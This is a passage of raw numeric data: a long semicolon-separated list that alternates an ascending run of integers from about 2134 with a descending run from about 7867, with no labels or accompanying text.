134;7867;2135;7866;2136;7865;2137;7864;2138;7863;2139;7862;2140;7861;2141;7860;2142;7859;2143;7858;2144;7857;2145;7856;2146;7855;2147;7854;2148;7853;2149;7852;2150;7851;2151;7850;2152;7849;2153;7848;2154;7847;2155;7846;2156;7845;2157;7844;2158;7843;2159;7842;2160;7841;2161;7840;2162;7839;2163;7838;2164;7837;2165;7836;2166;7835;2167;7834;2168;7833;2169;7832;2170;7831;2171;7830;2172;7829;2173;7828;2174;7827;2175;7826;2176;7825;2177;7824;2178;7823;2179;7822;2180;7821;2181;7820;2182;7819;2183;7818;2184;7817;2185;7816;2186;7815;2187;7814;2188;7813;2189;7812;2190;7811;2191;7810;2192;7809;2193;7808;2194;7807;2195;7806;2196;7805;2197;7804;2198;7803;2199;7802;2200;7801;2201;7800;2202;7799;2203;7798;2204;7797;2205;7796;2206;7795;2207;7794;2208;7793;2209;7792;2210;7791;2211;7790;2212;7789;2213;7788;2214;7787;2215;7786;2216;7785;2217;7784;2218;7783;2219;7782;2220;7781;2221;7780;2223;7779;2224;7778;2225;7776;2226;7775;2227;7774;2228;7773;2229;7772;2230;7771;2231;7770;2232;7769;2233;7768;2234;7767;2235;7766;2236;7765;2237;7764;2238;7763;2239;7762;2240;7761;2241;7760;2242;7759;2243;7758;2244;7757;2245;7756;2246;7755;2247;7754;2248;7753;2249;7752;2250;7751;2251;7750;2252;7749;2253;7748;2254;7747;2255;7746;2256;7745;2257;7744;2258;7743;2259;7742;2260;7741;2261;7740;2262;7739;2263;7738;2264;7737;2265;7736;2266;7735;2267;7734;2268;7733;2269;7732;2270;7731;2271;7730;2272;7729;2273;7728;2274;7727;2275;7726;2276;7725;2277;7724;2278;7723;2279;7722;2280;7721;2281;7720;2282;7719;2283;7718;2284;7717;2285;7716;2286;7715;2287;7714;2288;7713;2289;7712;2290;7711;2291;7710;2292;7709;2293;7708;2294;7707;2295;7706;2296;7705;2297;7704;2298;7703;2299;7702;2300;7701;2301;7700;2302;7699;2303;7698;2304;7697;2305;7696;2306;7695;2307;7694;2308;7693;2309;7692;2310;7691;2311;7690;2312;7689;2313;7688;2314;7687;2315;7686;2316;7685;2317;7684;2318;7683;2319;7682;2320;7681;2321;7680;2322;7679;2323;7678;2324;7677;2325;7676;2326;7675;2327;7674;2328;7673;2329;7672;2330;7671;2331;7670;2332;7669;2333;7668;2334;7667;2335;7666;2336;7665;2337;7664;2338;7663;2339;7662;2340;7661;2341;7660;2342;7659;2343;7658;2344;7657;2345;7656;2346;7655;2347;7654;2348;7653;2349;7652;2350;7651;2351;7650;2352;7649;2353;7648;2354;7647;2355;7646;2356;7645;2357;7644;2358;7643;2359;7642;2360;7641;2361;7640;2362;7639;2363;7638;2364;7637;2365;7636;2366;7635;2367;7634;2368;7633;2369;7632;2370;7631;2371;7630;2372;7629;2373;7628;2374;7627;2375;7626;2376;7625;2377;7624;2378;7623;2379;7622;2380;7621;2381;7620;2382;7619;2383;7618;2384;7617;2385;7616;2386;7615;2387;7614;2388;7613;2389;7612;2390;7611;2391;7610;2392;7609;2393;7608;2394;7607;2395;7606;2396;7605;2397;7604;2398;7603;2399;7602;2400;7601;2401;7600;2402;7599;2403;7598;2404;7597;2405;7596;2406;7595;2407;7594;2408;7593;2409;7592;2410;7591;2411;7590;2412;7589;2413;7588;2414;7587;2415;7586;2416;7585;2417;7584;2418;7583;2419;7582;2420;7581;2421;7580;2422;7579;2423;7578;2424;7577;2425;7576;2426;7575;2427;7574;2428;7573;2429;7572;2430;7571;2431;7570;2432;7569;2433;7568;2434;7567;2435;7566;2436;7565;2437;7564;2438;7563;2439;7562;2440;7561;2441;7560;2442;7559;2443;7558;2444;7557;2445;7556;2446;7555;2447;7554;2448;7553;2449;7552;2450;7551;2451;7550;2452;7549;2453;7548;2454;7547;2455;7546;2456;7545;2457;7544;2458;7543;2459;7542;2460;7541;2461;7540;2462;7539;2463;7538;2464;7537;2465;7536;2466;7535;2467;7534;2468;7533;2469;7532;2470;7531;2471;7530;2472;7529;2473;7528;2474;7527;2475;7526;2476;7525;2477;7524;2478;7523;2479;7522;2480;7521;2481;7520;2482;7519;2483;7518;2484;7517;2485;7516;2486;7515;2487;7514;2488;7513;2489;7512;2490;7511;2491;7510;2492;7509;2493;7508;2494;7507;2495;7506;2496;7505;2497;7504;2498;7503;2499;7502;2500;7501;2501;7500;2502;7499;2503;7498;2504;7497;2505;7496;2506;7495;2507;7494;2508;7493;2509;7492;2510;7491;2511;7490;2512;7489;2513;7488;2514;7487;2515;7486;2516;7485;2517;7484;2518;7483;2519;7482;2520;7481;2521;7480;2522;7479;2523;7478;2524;7477;2525;7476;2526;7475;2527;7474;2528;7473;2529;7472;2530;7471;2531;7470;2532;7469;2533;7468;2534;7467;2535;7466;2536;7465;2537;7464;2538;7463;2539;7462;2540;7461;2541;7460;2542;7459;2543;7458;2544;7457;2545;7456;2546;7455;2547;7454;2548;7453;2549;7452;2550;7451;2551;7450;2552;7449;2553;7448;2554;7447;2555;7446;2556;7445;2557;7444;2558;7443;2559;7442;2560;7441;2561;7440;2562;7439;2563;7438;2564;7437;2565;7436;2566;7435;2567;7434;2568;7433;2569;7432;2570;7431;2571;7430;2572;7429;2573;7428;2574;7427;2575;7426;2576;7425;2577;7424;2578;7423;2579;7422;2580;7421;2581;7420;2582;7419;2583;7418;2584;7417;2585;7416;2586;7415;2587;7414;2588;7413;2589;7412;2591;7411;2592;7410;2593;7409;2594;7408;2595;7407;2596;7406;2597;7405;2598;7404;2599;7403;2600;7402;2601;7401;2602;7400;2603;7399;2604;7398;2605;7397;2606;7396;2607;7395;2608;7394;2609;7393;2610;7392;2611;7391;2612;7390;2613;7389;2614;7388;2615;7387;2616;7386;2617;7385;2618;7384;2619;7383;2620;7382;2621;7381;2622;7380;2623;7379;2624;7378;2625;7377;2626;7376;2627;7375;2628;7374;2629;7373;2630;7372;2631;7371;2632;7370;2633;7369;2634;7368;2635;7367;2636;7366;2637;7365;2638;7364;2639;7363;2640;7362;2641;7361;2642;7360;2643;7359;2644;7358;2645;7357;2646;7356;2647;7355;2648;7354;2649;7353;2650;7352;2651;7351;2652;7350;2653;7349;2654;7348;2655;7347;2656;7346;2657;7345;2658;7344;2659;7343;2660;7342;2661;7341;2662;7340;2663;7339;2664;7338;2665;7337;2666;7336;2667;7335;2668;7334;2669;7333;2670;7332;2671;7331;2672;7330;2673;7329;2674;7328;2675;7327;2676;7326;2677;7325;2678;7324;2679;7323;2680;7322;2681;7321;2682;7320;2683;7319;2684;7318;2685;7317;2686;7316;2687;7315;2688;7314;2689;7313;2690;7312;2691;7311;2692;7310;2693;7309;2694;7308;2695;7307;2696;7306;2697;7305;2698;7304;2699;7303;2700;7302;2701;7301;2702;7300;2703;7299;2704;7298;2705;7297;2706;7296;2707;7295;2708;7294;2709;7293;2710;7292;2711;7291;2712;7290;2713;7289;2714;7288;2715;7287;2716;7286;2717;7285;2718;7284;2719;7283;2720;7282;2721;7281;2722;7280;2723;7279;2724;7278;2725;7277;2726;7276;2727;7275;2728;7274;2729;7273;2730;7272;2731;7271;2732;7270;2733;7269;2734;7268;2735;7267;2736;7266;2737;7265;2738;7264;2739;7263;2740;7262;2741;7261;2742;7260;2743;7259;2744;7258;2745;7257;2746;7256;2747;7255;2748;7254;2749;7253;2750;7252;2751;7251;2752;7250;2753;7249;2754;7248;2755;7247;2756;7246;2757;7245;2758;7244;2759;7243;2760;7242;2761;7241;2762;7240;2763;7239;2764;7238;2765;7237;2766;7236;2767;7235;2768;7234;2769;7233;2770;7232;2771;7231;2772;7230;2773;7229;2774;7228;2775;7227;2776;7226;2777;7225;2778;7224;2779;7223;2780;7222;2781;7221;2782;7220;2783;7219;2784;7218;2785;7217;2786;7216;2787;7215;2788;7214;2789;7213;2790;7212;2791;7211;2792;7210;2793;7209;2794;7208;2795;7207;2796;7206;2797;7205;2798;7204;2799;7203;2800;7202;2801;7201;2802;7200;2803;7199;2804;7198;2805;7197;2806;7196;2807;7195;2808;7194;2809;7193;2810;7192;2811;7191;2812;7190;2813;7189;2814;7188;2815;7187;2816;7186;2817;7185;2818;7184;2819;7183;2820;7182;2821;7181;2822;7180;2823;7179;2824;7178;2825;7177;2826;7176;2827;7175;2828;7174;2829;7173;2830;7172;2831;7171;2832;7170;2833;7169;2834;7168;2835;7167;2836;7166;2837;7165;2838;7164;2839;7163;2840;7162;2841;7161;2842;7160;2843;7159;2844;7158;2845;7157;2846;7156;2847;7155;2848;7154;2849;7153;2850;7152;2851;7151;2852;7150;2853;7149;2854;7148;2855;7147;2856;7146;2857;7145;2858;7144;2859;7143;2860;7142;2861;7141;2862;7140;2863;7139;2864;7138;2865;7137;2866;7136;2867;7135;2868;7134;2869;7133;2870;7132;2871;7131;2872;7130;2873;7129;2874;7128;2875;7127;2876;7126;2877;7125;2878;7124;2879;7123;2880;7122;2881;7121;2882;7120;2883;7119;2884;7118;2885;7117;2886;7116;2887;7115;2888;7114;2889;7113;2890;7112;2891;7111;2892;7110;2893;7109;2894;7108;2895;7107;2896;7106;2897;7105;2898;7104;2899;7103;2900;7102;2901;7101;2902;7100;2903;7099;2904;7098;2905;7097;2906;7096;2907;7095;2908;7094;2909;7093;2910;7092;2911;7091;2912;7090;2913;7089;2914;7088;2915;7087;2916;7086;2917;7085;2918;7084;2919;7083;2920;7082;2921;7081;2922;7080;2923;7079;2924;7078;2925;7077;2926;7076;2927;7075;2928;7074;2929;7073;2930;7072;2931;7071;2932;7070;2933;7069;2934;7068;2935;7067;2936;7066;2937;7065;2938;7064;2939;7063;2940;7062;2941;7061;2942;7060;2943;7059;2944;7058;2945;7057;2946;7056;2947;7055;2948;7054;2949;7053;2950;7052;2951;7051;2952;7050;2953;7049;2954;7048;2955;7047;2956;7046;2957;7045;2958;7044;2959;7043;2960;7042;2961;7041;2962;7040;2963;7039;2964;7038;2965;7037;2966;7036;2967;7035;2968;7034;2969;7033;2970;7032;2971;7031;2972;7030;2973;7029;2974;7028;2975;7027;2976;7026;2977;7025;2978;7024;2979;7023;2980;7022;2981;7021;2982;7020;2983;7019;2984;7018;2985;7017;2986;7016;2987;7015;2988;7014;2989;7013;2990;7012;2991;7011;2992;7010;2993;7009;2994;7008;2995;7007;2996;7006;2997;7005;2998;7004;2999;7003;3000;7002;3001;7001;3002;7000;3003;6999;3004;6998;3005;6997;3006;6996;3007;6995;3008;6994;3009;6993;3010;6992;3011;6991;3012;6990;3013;6989;3014;6988;3015;6987;3016;6986;3017;6985;3018;6984;3019;6983;3020;6982;3021;6981;3022;6980;3023;6979;3024;6978;3025;6977;3026;6976;3027;6975;3028;6974;3029;6973;3030;6972;3031;6971;3032;6970;3033;6969;3034;6968;3035;6967;3036;6966;3037;6965;3038;6964;3039;6963;3040;6962;3041;6961;3042;6960;3043;6959;3044;6958;3046;6957;3047;6956;3048;6955;3049;6954;3050;6953;3051;6952;3052;6951;3053;6950;3054;6949;3055;6948;3056;6947;3057;6946;3058;6945;3059;6944;3060;6943;3061;6942;3062;6941;3063;6940;3064;6939;3065;6938;3066;6937;3067;6936;3068;6935;3069;6934;3070;6933;3071;6932;3072;6931;3073;6930;3074;6929;3075;6928;3076;6927;3077;6926;3078;6925;3079;6924;3080;6923;3081;6922;3082;6921;3083;6920;3084;6919;3085;6918;3086;6917;3087;6916;3088;6915;3089;6914;3090;6913;3091;6912;3092;6911;3093;6910;3094;6909;3095;6908;3096;6907;3097;6906;3098;6905;3099;6904;3100;6903;3101;6902;3102;6901;3103;6900;3104;6899;3105;6898;3106;6897;3107;6896;3108;6895;3109;6894;3110;6893;3111;6892;3112;6891;3113;6890;3114;6889;3115;6888;3116;6887;3117;6886;3118;6885;3119;6884;3120;6883;3121;6882;3122;6881;3123;6880;3124;6879;3125;6878;3126;6877;3127;6876;3128;6875;3129;6874;3130;6873;3131;6872;3132;6871;3133;6870;3134;6869;3135;6868;3136;6867;3137;6866;3138;6865;3139;6864;3140;6863;3141;6862;3142;6861;3143;6860;3144;6859;3145;6858;3146;6857;3147;6856;3148;6855;3149;6854;3150;6853;3151;6852;3152;6851;3153;6850;3154;6849;3155;6848;3156;6847;3157;6846;3158;6845;3159;6844;3160;6843;3161;6842;3162;6841;3163;6840;3164;6839;3165;6838;3166;6837;3167;6836;3168;6835;3169;6834;3170;6833;3171;6832;3172;6831;3173;6830;3174;6829;3175;6828;3176;6827;3177;6826;3178;6825;3179;6824;3180;6823;3181;6822;3182;6821;3183;6820;3184;6819;3185;6818;3186;6817;3187;6816;3188;6815;3189;6814;3190;6813;3191;6812;3192;6811;3193;6810;3194;6809;3195;6808;3196;6807;3197;6806;3198;6805;3199;6804;3200;6803;3201;6802;3202;6801;3203;6800;3204;6799;3205;6798;3206;6797;3207;6796;3208;6795;3209;6794;3210;6793;3211;6792;3212;6791;3213;6790;3214;6789;3215;6788;3216;6787;3217;6786;3218;6785;3219;6784;3220;6783;3221;6782;3222;6781;3223;6780;3224;6779;3225;6778;3226;6777;3227;6776;3228;6775;3229;6774;3230;6773;3231;6772;3232;6771;3233;6770;3234;6769;3235;6768;3236;6767;3237;6766;3238;6765;3239;6764;3240;6763;3241;6762;3242;6761;3243;6760;3244;6759;3245;6758;3246;6757;3247;6756;3248;6755;3249;6754;3250;6753;3251;6752;3252;6751;3253;6750;3254;6749;3255;6748;3256;6747;3257;6746;3258;6745;3259;6744;3260;6743;3261;6742;3262;6741;3263;6740;3264;6739;3265;6738;3266;6737;3267;6736;3268;6735;3269;6734;3270;6733;3271;6732;3272;6731;3273;6730;3274;6729;3275;6728;3276;6727;3277;6726;3278;6725;3279;6724;3280;6723;3281;6722;3282;6721;3283;6720;3284;6719;3285;6718;3286;6717;3287;6716;3288;6715;3289;6714;3290;6713;3291;6712;3292;6711;3293;6710;3294;6709;3295;6708;3296;6707;3297;6706;3298;6705;3299;6704;3300;6703;3301;6702;3302;6701;3303;6700;3304;6699;3305;6698;3306;6697;3307;6696;3308;6695;3309;6694;3310;6693;3311;6692;3312;6691;3313;6690;3314;6689;3315;6688;3316;6687;3317;6686;3318;6685;3319;6684;3320;6683;3321;6682;3322;6681;3323;6680;3324;6679;3325;6678;3326;6677;3327;6676;3328;6675;3329;6674;3330;6673;3331;6672;3332;6671;3334;6670;3335;6669;3336;6668;3337;6667;3338;6665;3339;6664;3340;6663;3341;6662;3342;6661;3343;6660;3344;6659;3345;6658;3346;6657;3347;6656;3348;6655;3349;6654;3350;6653;3351;6652;3352;6651;3353;6650;3354;6649;3355;6648;3356;6647;3357;6646;3358;6645;3359;6644;3360;6643;3361;6642;3362;6641;3363;6640;3364;6639;3365;6638;3366;6637;3367;6636;3368;6635;3369;6634;3370;6633;3371;6632;3372;6631;3373;6630;3374;6629;3375;6628;3376;6627;3377;6626;3378;6625;3379;6624;3380;6623;3381;6622;3382;6621;3383;6620;3384;6619;3385;6618;3386;6617;3387;6616;3388;6615;3389;6614;3390;6613;3391;6612;3392;6611;3393;6610;3394;6609;3395;6608;3396;6607;3397;6606;3398;6605;3399;6604;3400;6603;3401;6602;3402;6601;3403;6600;3404;6599;3405;6598;3406;6597;3407;6596;3408;6595;3409;6594;3410;6593;3411;6592;3412;6591;3413;6590;3414;6589;3415;6588;3416;6587;3417;6586;3418;6585;3419;6584;3420;6583;3421;6582;3422;6581;3423;6580;3424;6579;3425;6578;3426;6577;3427;6576;3428;6575;3429;6574;3430;6573;3431;6572;3432;6571;3433;6570;3434;6569;3435;6568;3436;6567;3437;6566;3438;6565;3439;6564;3440;6563;3441;6562;3442;6561;3443;6560;3444;6559;3445;6558;3446;6557;3447;6556;3448;6555;3449;6554;3450;6553;3451;6552;3452;6551;3453;6550;3454;6549;3455;6548;3456;6547;3457;6546;3458;6545;3459;6544;3460;6543;3461;6542;3462;6541;3463;6540;3464;6539;3465;6538;3466;6537;3467;6536;3468;6535;3469;6534;3470;6533;3471;6532;3472;6531;3473;6530;3474;6529;3475;6528;3476;6527;3477;6526;3478;6525;3479;6524;3480;6523;3481;6522;3482;6521;3483;6520;3484;6519;3485;6518;3486;6517;3487;6516;3488;6515;3489;6514;3490;6513;3491;6512;3492;6511;3493;6510;3494;6509;3495;6508;3496;6507;3497;6506;3498;6505;3499;6504;3500;6503;3501;6502;3502;6501;3503;6500;3504;6499;3505;6498;3506;6497;3507;6496;3508;6495;3509;6494;3510;6493;3511;6492;3512;6491;3513;6490;3514;6489;3515;6488;3516;6487;3517;6486;3518;6485;3519;6484;3520;6483;3521;6482;3522;6481;3523;6480;3524;6479;3525;6478;3526;6477;3527;6476;3528;6475;3529;6474;3530;6473;3531;6472;3532;6471;3533;6470;3534;6469;3535;6468;3536;6467;3537;6466;3538;6465;3539;6464;3540;6463;3541;6462;3542;6461;3543;6460;3544;6459;3545;6458;3546;6457;3547;6456;3548;6455;3549;6454;3550;6453;3551;6452;3552;6451;3553;6450;3554;6449;3555;6448;3556;6447;3557;6446;3558;6445;3559;6444;3560;6443;3561;6442;3562;6441;3563;6440;3564;6439;3565;6438;3566;6437;3567;6436;3568;6435;3569;6434;3570;6433;3571;6432;3572;6431;3573;6430;3574;6429;3575;6428;3576;6427;3577;6426;3578;6425;3579;6424;3580;6423;3581;6422;3582;6421;3583;6420;3584;6419;3585;6418;3586;6417;3587;6416;3588;6415;3589;6414;3590;6413;3591;6412;3592;6411;3593;6410;3594;6409;3595;6408;3596;6407;3597;6406;3598;6405;3599;6404;3600;6403;3601;6402;3602;6401;3603;6400;3604;6399;3605;6398;3606;6397;3607;6396;3608;6395;3609;6394;3610;6393;3611;6392;3612;6391;3613;6390;3614;6389;3615;6388;3616;6387;3617;6386;3618;6385;3619;6384;3620;6383;3621;6382;3622;6381;3623;6380;3624;6379;3625;6378;3626;6377;3627;6376;3628;6375;3629;6374;3630;6373;3631;6372;3632;6371;3633;6370;3634;6369;3635;6368;3636;6367;3637;6366;3638;6365;3639;6364;3640;6363;3641;6362;3642;6361;3643;6360;3644;6359;3645;6358;3646;6357;3647;6356;3648;6355;3649;6354;3650;6353;3651;6352;3652;6351;3653;6350;3654;6349;3655;6348;3656;6347;3657;6346;3658;6345;3659;6344;3660;6343;3661;6342;3662;6341;3663;6340;3664;6339;3665;6338;3666;6337;3667;6336;3668;6335;3669;6334;3670;6333;3671;6332;3672;6331;3673;6330;3674;6329;3675;6328;3676;6327;3677;6326;3678;6325;3679;6324;3680;6323;3681;6322;3682;6321;3683;6320;3684;6319;3685;6318;3686;6317;3687;6316;3688;6315;3689;6314;3690;6313;3691;6312;3692;6311;3693;6310;3694;6309;3695;6308;3696;6307;3697;6306;3698;6305;3699;6304;3700;6303;3701;6302;3702;6301;3703;6300;3704;6299;3705;6298;3706;6297;3707;6296;3708;6295;3709;6294;3710;6293;3711;6292;3712;6291;3713;6290;3714;6289;3715;6288;3716;6287;3717;6286;3718;6285;3719;6284;3720;6283;3721;6282;3722;6281;3723;6280;3724;6279;3725;6278;3726;6277;3727;6276;3728;6275;3729;6274;3730;6273;3731;6272;3732;6271;3733;6270;3734;6269;3735;6268;3736;6267;3737;6266;3738;6265;3739;6264;3740;6263;3741;6262;3742;6261;3743;6260;3744;6259;3745;6258;3746;6257;3747;6256;3748;6255;3749;6254;3750;6253;3751;6252;3752;6251;3753;6250;3754;6249;3755;6248;3756;6247;3757;6246;3758;6245;3759;6244;3760;6243;3761;6242;3762;6241;3763;6240;3764;6239;3765;6238;3766;6237;3767;6236;3768;6235;3769;6234;3770;6233;3771;6232;3772;6231;3773;6230;3774;6229;3775;6228;3776;6227;3777;6226;3778;6225;3779;6224;3780;6223;3781;6222;3782;6221;3783;6220;3784;6219;3785;6218;3786;6217;3787;6216;3788;6215;3789;6214;3790;6213;3791;6212;3792;6211;3793;6210;3794;6209;3795;6208;3796;6207;3797;6206;3798;6205;3799;6204;3800;6203;3801;6202;3802;6201;3803;6200;3804;6199;3805;6198;3806;6197;3807;6196;3808;6195;3809;6194;3810;6193;3811;6192;3812;6191;3813;6190;3814;6189;3815;6188;3816;6187;3817;6186;3818;6185;3819;6184;3820;6183;3821;6182;3822;6181;3823;6180;3824;6179;3825;6178;3826;6177;3827;6176;3828;6175;3829;6174;3830;6173;3831;6172;3832;6171;3833;6170;3834;6169;3835;6168;3836;6167;3837;6166;3838;6165;3839;6164;3840;6163;3841;6162;3842;6161;3843;6160;3844;6159;3845;6158;3846;6157;3847;6156;3848;6155;3849;6154;3850;6153;3851;6152;3852;6151;3853;6150;3854;6149;3855;6148;3856;6147;3857;6146;3858;6145;3859;6144;3860;6143;3861;6142;3862;6141;3863;6140;3864;6139;3865;6138;3866;6137;3867;6136;3868;6135;3869;6134;3870;6133;3871;6132;3872;6131;3873;6130;3874;6129;3875;6128;3876;6127;3877;6126;3878;6125;3879;6124;3880;6123;3881;6122;3882;6121;3883;6120;3884;6119;3885;6118;3886;6117;3887;6116;3888;6115;3889;6114;3890;6113;3891;6112;3892;6111;3893;6110;3894;6109;3895;6108;3896;6107;3897;6106;3898;6105;3899;6104;3900;6103;3901;6102;3902;6101;3903;6100;3904;6099;3905;6098;3906;6097;3907;6096;3908;6095;3909;6094;3910;6093;3911;6092;3912;6091;3913;6090;3914;6089;3915;6088;3916;6087;3917;6086;3918;6085;3919;6084;3920;6083;3921;6082;3922;6081;3923;6080;3924;6079;3925;6078;3926;6077;3927;6076;3928;6075;3929;6074;3930;6073;3931;6072;3932;6071;3933;6070;3934;6069;3935;6068;3936;6067;3937;6066;3938;6065;3939;6064;3940;6063;3941;6062;3942;6061;3943;6060;3944;6059;3945;6058;3946;6057;3947;6056;3948;6055;3949;6054;3950;6053;3951;6052;3952;6051;3953;6050;3954;6049;3955;6048;3956;6047;3957;6046;3958;6045;3959;6044;3960;6043;3961;6042;3962;6041;3963;6040;3964;6039;3965;6038;3966;6037;3967;6036;3968;6035;3969;6034;3970;6033;3971;6032;3972;6031;3973;6030;3974;6029;3975;6028;3976;6027;3977;6026;3978;6025;3979;6024;3980;6023;3981;6022;3982;6021;3983;6020;3984;6019;3985;6018;3986;6017;3987;6016;3988;6015;3989;6014;3990;6013;3991;6012;3992;6011;3993;6010;3994;6009;3995;6008;3996;6007;3997;6006;3998;6005;3999;6004;4000;6003;4001;6002;4002;6001;4003;6000;4004;5999;4005;5998;4006;5997;4007;5996;4008;5995;4009;5994;4010;5993;4011;5992;4012;5991;4013;5990;4014;5989;4015;5988;4016;5987;4017;5986;4018;5985;4019;5984;4020;5983;4021;5982;4022;5981;4023;5980;4024;5979;4025;5978;4026;5977;4027;5976;4028;5975;4029;5974;4030;5973;4031;5972;4032;5971;4033;5970;4034;5969;4035;5968;4036;5967;4037;5966;4038;5965;4039;5964;4040;5963;4041;5962;4042;5961;4043;5960;4044;5959;4045;5958;4046;5957;4047;5956;4048;5955;4049;5954;4050;5953;4051;5952;4052;5951;4053;5950;4054;5949;4055;5948;4056;5947;4057;5946;4058;5945;4059;5944;4060;5943;4061;5942;4062;5941;4063;5940;4064;5939;4065;5938;4066;5937;4067;5936;4068;5935;4069;5934;4070;5933;4071;5932;4072;5931;4073;5930;4074;5929;4075;5928;4076;5927;4077;5926;4078;5925;4079;5924;4080;5923;4081;5922;4082;5921;4083;5920;4084;5919;4085;5918;4086;5917;4087;5916;4088;5915;4089;5914;4090;5913;4091;5912;4092;5911;4093;5910;4094;5909;4095;5908;4096;5907;4097;5906;4098;5905;4099;5904;4100;5903;4101;5902;4102;5901;4103;5900;4104;5899;4105;5898;4106;5897;4107;5896;4108;5895;4109;5894;4110;5893;4111;5892;4112;5891;4113;5890;4114;5889;4115;5888;4116;5887;4117;5886;4118;5885;4119;5884;4120;5883;4121;5882;4122;5881;4123;5880;4124;5879;4125;5878;4126;5877;4127;5876;4128;5875;4129;5874;4130;5873;4131;5872;4132;5871;4133;5870;4134;5869;4135;5868;4136;5867;4137;5866;4138;5865;4139;5864;4140;5863;4141;5862;4142;5861;4143;5860;4144;5859;4145;5858;4146;5857;4147;5856;4148;5855;4149;5854;4150;5853;4151;5852;4152;5851;4153;5850;4154;5849;4155;5848;4156;5847;4157;5846;4158;5845;4159;5844;4160;5843;4161;5842;4162;5841;4163;5840;4164;5839;4165;5838;4166;5837;4167;5836;4168;5835;4169;5834;4170;5833;4171;5832;4172;5831;4173;5830;4174;5829;4175;5828;4176;5827;4177;5826;4178;5825;4179;5824;4180;5823;4181;5822;4182;5821;4183;5820;4184;5819;4185;5818;4186;5817;4187;5816;4188;5815;4189;5814;4190;5813;4191;5812;4192;5811;4193;5810;4194;5809;4195;5808;4196;5807;4197;5806;4198;5805;4199;5804;4200;5803;4201;5802;4202;5801;4203;5800;4204;5799;4205;5798;4206;5797;4207;5796;4208;5795;4209;5794;4210;5793;4211;5792;4212;5791;4213;5790;4214;5789;4215;5788;4216;5787;4217;5786;4218;5785;4219;5784;4220;5783;4221;5782;4222;5781;4223;5780;4224;5779;4225;5778;4226;5777;4227;5776;4228;5775;4229;5774;4230;5773;4231;5772;4232;5771;4233;5770;4234;5769;4235;5768;4236;5767;4237;5766;4238;5765;4239;5764;4240;5763;4241;5762;4242;5761;4243;5760;4244;5759;4245;5758;4246;5757;4247;5756;4248;5755;4249;5754;4250;5753;4251;5752;4252;5751;4253;5750;4254;5749;4255;5748;4256;5747;4257;5746;4258;5745;4259;5744;4260;5743;4261;5742;4262;5741;4263;5740;4264;5739;4265;5738;4266;5737;4267;5736;4268;5735;4269;5734;4270;5733;4271;5732;4272;5731;4273;5730;4274;5729;4275;5728;4276;5727;4277;5726;4278;5725;4279;5724;4280;5723;4281;5722;4282;5721;4283;5720;4284;5719;4285;5718;4286;5717;4287;5716;4288;5715;4289;5714;4290;5713;4291;5712;4292;5711;4293;5710;4294;5709;4295;5708;4296;5707;4297;5706;4298;5705;4299;5704;4300;5703;4301;5702;4302;5701;4303;5700;4304;5699;4305;5698;4306;5697;4307;5696;4308;5695;4309;5694;4310;5693;4311;5692;4312;5691;4313;5690;4314;5689;4315;5688;4316;5687;4317;5686;4318;5685;4319;5684;4320;5683;4321;5682;4322;5681;4323;5680;4324;5679;4325;5678;4326;5677;4327;5676;4328;5675;4329;5674;4330;5673;4331;5672;4332;5671;4333;5670;4334;5669;4335;5668;4336;5667;4337;5666;4338;5665;4339;5664;4340;5663;4341;5662;4342;5661;4343;5660;4344;5659;4345;5658;4346;5657;4347;5656;4348;5655;4349;5654;4350;5653;4351;5652;4352;5651;4353;5650;4354;5649;4355;5648;4356;5647;4357;5646;4358;5645;4359;5644;4360;5643;4361;5642;4362;5641;4363;5640;4364;5639;4365;5638;4366;5637;4367;5636;4368;5635;4369;5634;4370;5633;4371;5632;4372;5631;4373;5630;4374;5629;4375;5628;4376;5627;4377;5626;4378;5625;4379;5624;4380;5623;4381;5622;4382;5621;4383;5620;4384;5619;4385;5618;4386;5617;4387;5616;4388;5615;4389;5614;4390;5613;4391;5612;4392;5611;4393;5610;4394;5609;4395;5608;4396;5607;4397;5606;4398;5605;4399;5604;4400;5603;4401;5602;4402;5601;4403;5600;4404;5599;4405;5598;4406;5597;4407;5596;4408;5595;4409;5594;4410;5593;4411;5592;4412;5591;4413;5590;4414;5589;4415;5588;4416;5587;4417;5586;4418;5585;4419;5584;4420;5583;4421;5582;4422;5581;4423;5580;4424;5579;4425;5578;4426;5577;4427;5576;4428;5575;4429;5574;4430;5573;4431;5572;4432;5571;4433;5570;4434;5569;4435;5568;4436;5567;4437;5566;4438;5565;4439;5564;4440;5563;4441;5562;4442;5561;4443;5560;4445;5559;4446;5558;4447;5557;4448;5556;4449;5554;4450;5553;4451;5552;4452;5551;4453;5550;4454;5549;4455;5548;4456;5547;4457;5546;4458;5545;4459;5544;4460;5543;4461;5542;4462;5541;4463;5540;4464;5539;4465;5538;4466;5537;4467;5536;4468;5535;4469;5534;4470;5533;4471;5532;4472;5531;4473;5530;4474;5529;4475;5528;4476;5527;4477;5526;4478;5525;4479;5524;4480;5523;4481;5522;4482;5521;4483;5520;4484;5519;4485;5518;4486;5517;4487;5516;4488;5515;4489;5514;4490;5513;4491;5512;4492;5511;4493;5510;4494;5509;4495;5508;4496;5507;4497;5506;4498;5505;4499;5504;4500;5503;4501;5502;4502;5501;4503;5500;4504;5499;4505;5498;4506;5497;4507;5496;4508;5495;4509;5494;4510;5493;4511;5492;4512;5491;4513;5490;4514;5489;4515;5488;4516;5487;4517;5486;4518;5485;4519;5484;4520;5483;4521;5482;4522;5481;4523;5480;4524;5479;4525;5478;4526;5477;4527;5476;4528;5475;4529;5474;4530;5473;4531;5472;4532;5471;4533;5470;4534;5469;4535;5468;4536;5467;4537;5466;4538;5465;4539;5464;4540;5463;4541;5462;4542;5461;4543;5460;4544;5459;4545;5458;4546;5457;4547;5456;4548;5455;4549;5454;4550;5453;4551;5452;4552;5451;4553;5450;4554;5449;4555;5448;4556;5447;4557;5446;4558;5445;4559;5444;4560;5443;4561;5442;4562;5441;4563;5440;4564;5439;4565;5438;4566;5437;4567;5436;4568;5435;4569;5434;4570;5433;4571;5432;4572;5431;4573;5430;4574;5429;4575;5428;4576;5427;4577;5426;4578;5425;4579;5424;4580;5423;4581;5422;4582;5421;4583;5420;4584;5419;4585;5418;4586;5417;4587;5416;4588;5415;4589;5414;4590;5413;4591;5412;4592;5411;4593;5410;4594;5409;4595;5408;4596;5407;4597;5406;4598;5405;4599;5404;4600;5403;4601;5402;4602;5401;4603;5400;4604;5399;4605;5398;4606;5397;4607;5396;4608;5395;4609;5394;4610;5393;4611;5392;4612;5391;4613;5390;4614;5389;4615;5388;4616;5387;4617;5386;4618;5385;4619;5384;4620;5383;4621;5382;4622;5381;4623;5380;4624;5379;4625;5378;4626;5377;4627;5376;4628;5375;4629;5374;4630;5373;4631;5372;4632;5371;4633;5370;4634;5369;4635;5368;4636;5367;4637;5366;4638;5365;46